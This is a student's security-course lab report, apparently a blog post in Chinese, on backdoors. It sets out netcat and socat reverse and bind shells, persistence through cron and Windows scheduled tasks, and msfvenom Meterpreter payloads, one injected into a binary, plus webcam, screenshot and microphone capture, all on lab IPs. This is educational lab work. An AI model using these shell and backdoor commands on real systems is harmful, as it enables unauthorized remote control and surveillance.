20192431张潇文 实验二 后门原理与实践 实验报告

实验二 后门原理与实践

一 实验原理

1.1后门原理

后门原理:后门就是攻击者在想要攻击的目的主机上留下的可以隐藏自己,获取目的主机的控制权或系统访问权的方法。后门可以通过发送邮件或者文件,把后门绑定在这些文件邮件中,点击的话就会运行木马程序。或者攻击一台主机以后通过传送的方式,把后门留在电脑中。

1.2 ncat及socat及Meterpreter工作原理及msfconsole的使用

  1. ncat是可以进行远程连接的,在Linux通常是自带的,可以使用man nc来查看nc的相关命令。以前在信息安全概论上用过NC主要是进行端口扫描的,可以用Ncat来分析对面使用的操作系统是什么,也可以发现分析一些漏洞。本次实验中,多次采用了nc -l -p来进行指定端口号的监听。而本次实验中的任务1,以及创建后门的时候文件的转发都使用了ncat。nc命令可以用来在系统装创建后门。
  2. 常见的nc命令
    -l, --listen 连接和收听到来的连接
    -p, --source-port port 指定使用特定的源端口
    -e --exec 执行传递的命令行
    利用nc拷贝文件:需要用到输如输出重定向符号 > <
    一般过程:先利用输入重定向让文件传到攻击机的端口,然后在另一台机器上,在这个端口监听,并输出重定向到指定的文件。
  3. socat原理:socat可以当作是netcat的加强版,在两个数据流之间建立通道,且支持众多协议和链接方式,用于连接远程端口,获取shell。
  4. socat命令格式:socat [options]
    。socat所做的工作就是在2个地址之间建立一个Pipe用于发送和接收数据,有的时候可以指定TCP,就说明是建立一个TCP连接作为数据流。
  5. Meterpreter:是一个用于生成后门程序的工具,在任务5中使用MSF生成shellcode的时候就会使用到。常用的命令:
    -p 使用的payload。
    -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    -e 使用的编码器,用于对shellcode变形,为了免杀。
    -i 编码器的迭代次数。如上即使用该编码器编码5次。
    -b badchar是payload中需要去除的字符。
    LHOST 是反弹回连的IP
    LPORT 是回连的端口
    -f 生成文件的类型

输出到哪个文件

  1. MSF生成shellcode,MSF生成shellcode,要确定使用什么样的payload的时候,使用msfvenom -l可以查看所有的payload,选择对应功能的paylode就可以了,比如说任务五是想要生成一个反弹式shell,就选择对应的即可。总之就是要确定payload,确定要生成的shellcode类型,确定攻击ip,攻击端口号,生成什么类型的文件。比如本次实验就是要注入到pwn1这个可执行文件中,所以用-x参数指定我们的模板pwn1.payload(shellcode)就写入到pwn1这个可执行文件中,并且要重新写入一个毒化后的可执行文件里,并且把其放入到指定的靶机里。
  2. msfconsole
    Msfconsole提供了一个一体化的集中控制台。通过msfconsole,你可以访问和使用所有的metasploit的插件,payload,利用模块,post模块等等。常见的功能指令的意义:
    使用攻击模块:(本次实验中在任务5,任务4中都有用到此条指令)
    use exploit/multi/handler
    查看需要填写的参数:show options
    设置地址,设置payload:都使用set指令
    监听:exploit

二 实验任务

任务1 使用netcat获取主机操作Shell,cron启动某项任务

实验过程

  1. 用Ipconfig在windows上查看自己的ip地址,用ip addr查看kali的地址。在windows中反弹连接kali,前提有以下几个方面:
    要求kali的防火墙关闭,但我的实验中并未遇到防火墙的问题。此外要求kali的ssh服务开启,开启ssh的命令是service ssh startwindows中安装好了ncat。
    在windows中输入命令:ncat 192.168. 10.141 5301 -e /bin/sh
    在Linux中输入命令:nc -l -p 5301开启监听
    可以看到windows和kali可以进行通信了;

  2. kali的主机操作windows的shell,只需要在windows下输入命令ncat.exe -e cmd.exe 192.168.10.141 5301
    linux下依旧使用步骤一的开启监听,就可以发现可以看到了windows的cmd,输入dir可以看到windows的当前目录

  3. windows下获得一个linux shell,在kali中输入:nc 192.168.10.36 5301 -e /bin/sh然后在cmd里开启监听就可以获得Linux的shell.

  4. cron启动某项任务:crontab用于设置周期性被执行的指令,在Linux下输入:crontab -e可以添加任务区,第一次的时候要选择编辑器3。

  5. 按I键Insert,在最后一行添加代码:20 * * * 1/bin/netcat 192.168.10.36 5301 -e/bin/sh表示每周一每小时的第二十分钟反向连接windows主机的5301端口,然后按ESC,:wq保存并退出。

  6. 时间到了11:35的时候打开windows输入ncat.exe -l -p 5301
    可以看到cmd获得了kali的shell。

任务2 使用SOCAT获取主机操作SHELL, 任务计划启动

前提:windwos下载好了socat,解压使用,
实验过程:

  1. 在Windows单击【计算机】—【管理】—【任务计划程序】下【任务计划程序库】,选择【创建任务】

  2. 确定好触发器触发的时间,建触发器。并且要填上相应的参数:tcp-listen:5301 exec:cmd.exe,pty,stderr这个命令的作用是把cmd.exe绑定到端口5301,同时把cmd.exe的stderr重定向到stdout上。可以看到任务以及可以就绪了。指定时间windows会出现cmd窗口,和安全提示

Linux输入socat-tcp:192.168.10.36完成连接,可以获得windosshell,输入Ipconfig可以验证。

任务3 使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell

实验过程:

  1. 现在kali中使用
    msfvenom -p windows/meterpreter/reverse_tcp 172.16.218.133 LPORT=5322 -f exe > backdoor5322.exe在linux里生成后门程序。
    用Ls查看这个后门程序是否已经在kali里了。

  2. 在Windows下执行ncat -l 5322 > backdoor5322.exe这样使得被控主机进入了接受文件模式。

  3. 在kali中执行nc 172.16.221.67 < backdoor5322.exeip是被控的主机ip。

  4. 可以在windows下看到该文件

  5. MSF打开监听进程
    输入msfconsole后进行如下操作:
    输入use exploit/multi/handler使用监听模块,设置payload
    set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
    set LHOST 172.16.218.133,这里用的是LinuxIP,和生成后门程序时指定的IP相同
    set LPORT 5322,同样要使用相同的端口.
    然后exploit,

  6. 运行windows下的后门程序

  7. 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

任务4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  1. 常用的指令
    webcam_snap摄像头拍照
    screenshot截屏

record_mic -d 5截获一段5s的音频

任务5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  1. 实验分析
    确定使用什么样的payload的时候,使用msfvenom -l可以查看所有的payload,选择对应功能的paylode就可以了,比如说任务五是想要生成一个反弹式shell,就选择对应的即可。总之就是要确定payload,确定要生成的shellcode类型,这次要求的是在linux/x86的,获取反弹式shell,所payload要选择:inux/x86/meterpreter/reverse_tcp。确定攻击ip,攻击端口号,本次就攻击自己的这台kali即可。生成什么类型的文件。elf可执行文件。比如本次实验就是要注入到pwn1这个可执行文件中,所以用-x参数指定我们的模板pwn1.payload(shellcode)就写入到pwn1这个可执行文件中,并且要重新写入一个毒化后的可执行文件里,并且把其放入到指定的靶机里。
  2. 实验步骤
    输入:msfvenom -p linux/x86/meterpreter/reverse_tcp Lhost=172.30.0.115 LPORT=4444 -x ./pwn1 -f elf > pwn20192431shellcode,Lhost也可以写成127.0.0.1

接下来,打开msfconsole
依次输入:use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 172.30.0.115
set LPORT 4444
exploit
然后在最开始的终端运行pwn20192431shellcode,在msf控制台可以看到已经成功调用了shell

三 实验问题及解决方案

  1. 在任务三当中,最开始在windows上找不到backdoor程序。原因是因为,我没有先在Linux里生成backdoor文件,搞错了实验的本质,应该是先在虚拟机上生成这个文件,然后通过nc传输到windows里,而不可能直接在linux里生成文件到windows里后来经过修改成功了,
  2. 在任务五当中,在最后运行那个pwn20192431shellcode的时候,始终报段错误,并且在msf当中也没办法获得shell,如图:

原因其实是因为我在msf当中设置payload的时候和我生成payload时候的两个负载不一致,一个是linux/x86/meterpreter/reverse_tcp,另一个是linux/x86/shell_reverse_tcp,所以就错误了。修改一致以后成功。
3. 运行文件的时候出现了permission deny。
解决方式使用chmod u+x*提权,就可以运行了。

四 回答问题

  1. 例举你能想到的一个后门进入到你系统中的可能方式?
    可以把程序绑定到一个电子邮件里,你点开电子邮件程序就植入到你的电脑里,或者在网络资源里下载某游戏,某个软件,这些软件绑定了后门程序,一下载就自动进入自己的电脑。熟悉的人借助U盘等工具,植入你的电脑当中,
  2. 例举你知道的后门如何启动起来(win及linux)的方式?
    linux下就是cron启动
    windows下可以修改注册表,自启动程序,或者编写一段代码实现自启动功能。
  3. Meterpreter有哪些给你映像深刻的功能?
    MSF生成木马并连接,msfvenom -p windows/meterpreter/reverse_tcp -f exe -a x86 -o ./meter_re_tcp_x86.exe LHOST=本地ip LPORT=本地端口
    msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -a x64 -o ./meter_re_tcp_x64.exe LHOST=本地ip LPORT=本地端口
    很方便,都不用找地址就可以直接生成。
  4. 如何发现自己有系统有没有被安装后门?
    通过杀毒软件的定期查杀,或者看任务管理器当中有没有一些自己没下载过的软件,防火墙。

五 实验感悟

体会msf功能的强大,更进一步的了解了后门的含义。也对Payload和shellcode有了一定的区分。

posted @ 2022-03-30 11:04  小小文文  阅读(408)  评论(0编辑  收藏  举报